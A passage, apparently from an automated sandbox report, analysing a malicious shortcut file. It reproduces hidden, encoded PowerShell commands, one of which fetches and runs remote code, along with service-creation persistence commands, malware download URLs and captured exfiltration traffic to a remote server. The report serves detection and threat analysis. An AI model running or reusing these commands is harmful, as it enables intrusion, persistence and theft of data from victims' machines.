AQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcA

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=, CommandLine: /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\Temp\myRdpService.exe cakoi10, ParentImage: C:\Windows\Temp\myRdpService.exe, ParentProcessId: 4644, ParentProcessName: myRdpService.exe, ProcessCommandLine: /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=, ProcessId: 8988, ProcessName: cmd.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3152, TargetFilename: C:\Users\user\AppData\Local\Temp\st5qs1wr\st5qs1wr.cmdline

Sigma detected: Net.exe Execution

Source: Process started

Author: Michael Haag, Mark Woan (improvements), James Pemberton / @4A616D6573 / oscd.community (improvements): Data: Command: net start "myRdpService", CommandLine: net start "myRdpService", CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7948, ParentProcessName: cmd.exe, ProcessCommandLine: net start "myRdpService", ProcessId: 7372, ProcessName: net.exe

Sigma detected: New Service Creation Using Sc.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto , CommandLine: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto , CommandLine|base64offset|contains: H, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7948, ParentProcessName: cmd.exe, ProcessCommandLine: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto , ProcessId: 7032, ProcessName: sc.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powERSheLl.EXE -WInDOwStYle HiDdEN -encOdeDcOmmAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEUAOABBAFoAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEgASQBBAFMAUQBCAE8AQQBFAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAGgAQQBGAG8AQQBRAFEAQQA5AEEARAAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARQA0AEEAZABBAEIARgBBAEUANABBAGQAQQBBAHAAQQBDAGsAQQAiAA==" , CommandLine: powERSheLl.EXE -WInDOwStYle HiDdEN -encOdeDcOmmAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEUAOABBAFoAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEgASQBBAFMAUQBCAE8AQQBFAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcA

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE, ProcessId: 4024, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Sigma detected: SC.EXE Query Execution

Source: Process started

Author: frack113: Data: Command: sc query myRdpService, CommandLine: sc query myRdpService, CommandLine|base64offset|contains: , Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "cmd.exe" /c sc query myRdpService, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2260, ParentProcessName: cmd.exe, ProcessCommandLine: sc query myRdpService, ProcessId: 8232, ProcessName: sc.exe

Sigma detected: Start Windows Service Via Net.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: net start "myRdpService", CommandLine: net start "myRdpService", CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7948, ParentProcessName: cmd.exe, ProcessCommandLine: net start "myRdpService", ProcessId: 7372, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc, CommandLine: C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 904, ProcessCommandLine: C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc, ProcessId: 8712, ProcessName: svchost.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\st5qs1wr\st5qs1wr.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\st5qs1wr\st5qs1wr.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBDAE8AZABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAHIASQBOAEcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBhAFoAQQA9AD0AIgApACkAKQApAC4AQwBPAE4AdABFAE4AdAApACkA , ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3152, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\st5qs1wr\st5qs1wr.cmdline", ProcessId: 5756, ProcessName: csc.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-11T12:45:35.678136+0100	2803305	3	Unknown Traffic	192.168.11.20	49763	172.67.128.139	443	TCP
2024-12-11T12:46:30.670235+0100	2803305	3	Unknown Traffic	192.168.11.20	49768	172.67.128.139	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-11T12:44:04.066583+0100	2803274	2	Potentially Bad Traffic	192.168.11.20	49740	172.67.128.139	443	TCP
2024-12-11T12:44:06.157234+0100	2803274	2	Potentially Bad Traffic	192.168.11.20	49742	172.67.128.139	443	TCP
2024-12-11T12:44:08.106440+0100	2803274	2	Potentially Bad Traffic	192.168.11.20	49744	172.67.128.139	443	TCP
2024-12-11T12:44:30.593982+0100	2803274	2	Potentially Bad Traffic	192.168.11.20	49757	172.67.128.139	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://cocomethode.de/file2/1bca4c734b4173186ced83141684d6931c1b339cc16a8c5dcf14200f847129d1c5737fab88aed1e524947c7d7da0a49b79eba95c8974ec0965a6388d4670ad3805f9a4db0deeddff6eb926ed1fea3ff5b5bc3eb9f9af6cbd9d19e099214ca2c695d2ebc2eecb14e0349f34ea28f5372e	Avira URL Cloud: Label: malware
Source: http://cocomethode.de	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/StaticFile/TermServiceTryRun/77	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/53b817c6b403fde911a13359ad852a809b72c3a61c9d33030bf0e4130708dbe3ee1fcd85082d15ea7c027b4749aea8867e3e247bd648d250a09153f5a9051f7fcec7ff2ad6088be998d837733babb1d81d0bf712c8881e6fc53dd0663bdd97b4ba27bb02ac3546087195d7a35ff4f222	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bacd29b28e3e20f	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/d46efe1d23678ba9d4ecd017493c103a4e1a37d96d59b89e6acdf96bc49b073190f78c9aa29bce71057a1ce039860e7c69eeb0ef1320f1ed0c8150f1948c2ed6bd2e64238c34031fa4510c3f5cb56f2ddedd92af0607a2d92432a03063f1e11b066993a54f1321da127eb7fbaee23c8f	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae6d8d447eefbc078c119c5da54d097ff	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/StaticFile/RdpService/38	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba823aa52afa40a	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/30bb492ec87899a2b4a8fa5c9eeec469631d83b6fb1545c37afc33eb58d196c823652f529529d9c5cc3350ab521dfddbe2a77c01bd1692f0dae16e5e78590d23aa42283bc9f003b0925ef770ce3dbb430044380316b396c72e0dbe931d81c382	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/53b817c6b403fde911a13359ad852a809b72c3a61c9d33030bf0e4130708dbe3ee1fcd8	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file3/873ce3957d5a52b126e489a7be00fe0d36246171918182ebc53aea442d8cc4681e33dcadc494ef7b10813af76bf343da6dd0c11bbafd53f9d40c4534b314e17178a5f9839114b731c4ae608c27f3e23b544cc7edefd58334b3e8215446329673/Windows%20Defender/16/16/user/193	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bacd29b28e3e20f4420e48c95972afcef6	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/b0cdda893b0765c99d30cddae6fd74c48ea8c4a5922a60ed3ef018a1ea2b77873615eb3	Avira URL Cloud: Label: malware
Source: http://cocomethode.de/api/check	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/30bb492ec87899a2b4a8fa5c9eeec469631d83b6fb1545c37afc33eb58d196c823652f5	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/Zd(	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file3/873ce3957d5a52b126e489a7be00fe0d36246171918182ebc53aea442d8cc4681e33dca	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/d46efe1d23678ba9d4ecd017493c103a4e1	Avira URL Cloud: Label: malware
Source: https://cocomethode.de	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba823aa52afa40a80c45020b00110eac9c	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/d46efe1d23678ba9d4ecd017493c103a4e1a37d96d59b89e6acdf96bc49b073190f78c9	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/Zd	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae5c01e61a6904	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/1bca4c734b4173186ced83141684d6931c1b339cc16a8c5dcf14200f847129d1c5737fa	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/8a84c3609323de6cd9c25a1851d0dcd8a2f3b09776bf8e7d4d6402a6720c1add89a23d5ed12e05cf2f53d7b015e76bd5b82239987c049defb9be7775f0b50e130d8dbede4588a06e0bb0568bc9dc5a959058d1b98732bb8da4c07dbb567f93f3706dd62fd21f5eae172d5026cdd5279f	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/8a84c3609323de6cd9c25a1851d0dcd8a2f3b09776bf8e7d4d6402a6720c1add89a23d5	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae6d8d447eefbc	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae5c01e61a69043ec64a29656e39e6e0b	Avira URL Cloud: Label: malware
Source: http://cocomethode.de:443/	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/b0c	Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Source: m9c7iq9nzP.lnk

ReversingLabs: Detection: 28%

Machine Learning detection for sample

Source: m9c7iq9nzP.lnk

Joe Sandbox ML: detected

Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE

Directory created: C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xml

Jump to behavior

Source: unknown	HTTPS traffic detected: 172.67.128.139:443 -> 192.168.11.20:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.128.139:443 -> 192.168.11.20:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.128.139:443 -> 192.168.11.20:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.128.139:443 -> 192.168.11.20:49763 version: TLS 1.2

Source:	Binary string: C:\Windows\mscli.pdb&? source: powershell.exe, 0000000C.00000002.4898775134.000001C03B109000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \Windows\mscorlib.pdbpdblib.pdb7 source: powershell.exe, 00000007.00000002.4041179833.0000027929E4A000.00000004.00000020.00020000.00000000.sdmp

Networking

Potential dropper URLs found in powershell memory

Source: powershell.exe, 0000000C.00000002.4814981767.000001C03383E000.00000004.00000800.00020000.00000000.sdmp

String found in memory: <   "><a href="http://style="float:left;concerned with the=http%3A%2F%2Fwww.in popular culturetype="text/css" />it is possible to Harvard Universitytylesheet" href="/the main characterOxford University name="keywords" cstyle="text-align:the United Kingdomfederal government<div style="margin depending on the description of the<div class="header.min.js"></script>destruction of theslightly differentin accordance withtelecommunicationsindicates that theshortly thereafterespecially in the European countriesHowever, there aresrc="http://staticsuggested that the" src="http://www.a large number of Telecommunications" rel="nofollow" tHoly Roman Emperoralmost exclusively" border="0" alt="Secretary of Stateculminating in theCIA World Factbookthe most importantanniversary of thestyle="background-<li><em><a href="/the Atlantic Oceanstrictly speaking,shortly before thedifferent types ofthe Ottoman Empire><img src="http://An Introduction toconsequence of thedeparture from theConfederate Statesindigenous peoplesProceedings of theinformation on thetheories have beeninvolvement in thedivided into threeadjacent countriesis responsible fordissolution of thecollaboration withwidely regarded ashis contemporariesfounding member ofDominican Republicgenerally acceptedthe possibility ofare also availableunder constructionrestoration of thethe general publicis almost entirelypasses through thehas been suggestedcomputer and videoGermanic languages according to the different from theshortly afterwardshref="https://www.recent developmentBoard of Directors<div class="search| <a href="http://In particular, theMultiple footnotesor other substancethousands of yearstranslation of the</div>

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49767

Source: global traffic

TCP traffic: 192.168.11.20:49765 -> 23.88.71.29:8000

Source: global traffic	HTTP traffic detected: GET /StaticFile/RdpService/38 HTTP/1.1Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /StaticFile/TermServiceTryRun/77 HTTP/1.1Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /api/check HTTP/1.1Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /client/ws HTTP/1.1Host: 23.88.71.29:8000Connection: UpgradeUpgrade: websocketSec-WebSocket-Key: zn3NUJR5OUOkcJwXn0ptwA==Sec-WebSocket-Version: 13
Source: global traffic	HTTP traffic detected: POST /api/registry HTTP/1.1Host: 23.88.71.29:8000Connection: Keep-AliveContent-Type: application/jsonContent-Length: 102Data Raw: 22 36 33 30 31 33 33 37 32 46 36 35 37 35 41 39 44 34 45 41 32 39 43 42 36 30 38 37 39 38 45 44 39 7c 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 7c 31 30 2e 30 2e 31 39 30 34 32 20 4e 2f 41 20 42 75 69 6c 64 20 31 39 30 34 32 2d 31 30 2e 30 2e 31 39 30 34 31 2e 31 30 38 31 22 Data Ascii: "63013372F6575A9D4EA29CB608798ED9\|Microsoft Windows 10 Pro\|10.0.19042 N/A Build 19042-10.0.19041.1081"
Source: global traffic	HTTP traffic detected: POST /api/registry/upload/29b7a8f8d9967ca4c3166269aa4de757 HTTP/1.1Host: 23.88.71.29:8000Connection: Keep-AliveContent-Type: multipart/form-data; boundary=---------------------8dd19af756380cdContent-Length: 5689Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 39 61 66 37 35 36 33 38 30 63 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 72 65 67 42 61 63 6b 75 70 2e 72 65 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ff fe 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 52 00 65 00 67 00 69 00 73 00 74 00 72 00 79 00 20 00 45 00 64 00 69 00 74 00 6f 00 72 00 20 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 20 00 35 00 2e 00 30 00 30 00 0d 00 0a 00 0d 00 0a 00 5b 00 48 00 4b 00 45 00 59 00 5f 00 4c 00 4f 00 43 00 41 00 4c 00 5f 00 4d 00 41 00 43 00 48 00 49 00 4e 00 45 00 5c 00 53 00 59 00 53 00 54 00 45 00 4d 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 53 00 65 00 74 00 5c 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 73 00 5c 00 54 00 65 00 72 00 6d 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 5d 00 0d 00 0a 00 22 00 44 00 65 00 70 00 65 00 6e 00 64 00 4f 00 6e 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 22 00 3d 00 68 00 65 00 78 00 28 00 37 00 29 00 3a 00 35 00 32 00 2c 00 30 00 30 00 2c 00 35 00 30 00 2c 00 30 00 30 00 2c 00 34 00 33 00 2c 00 30 00 30 00 2c 00 35 00 33 00 2c 00 30 00 30 00 2c 00 35 00 33 00 2c 00 30 00 30 00 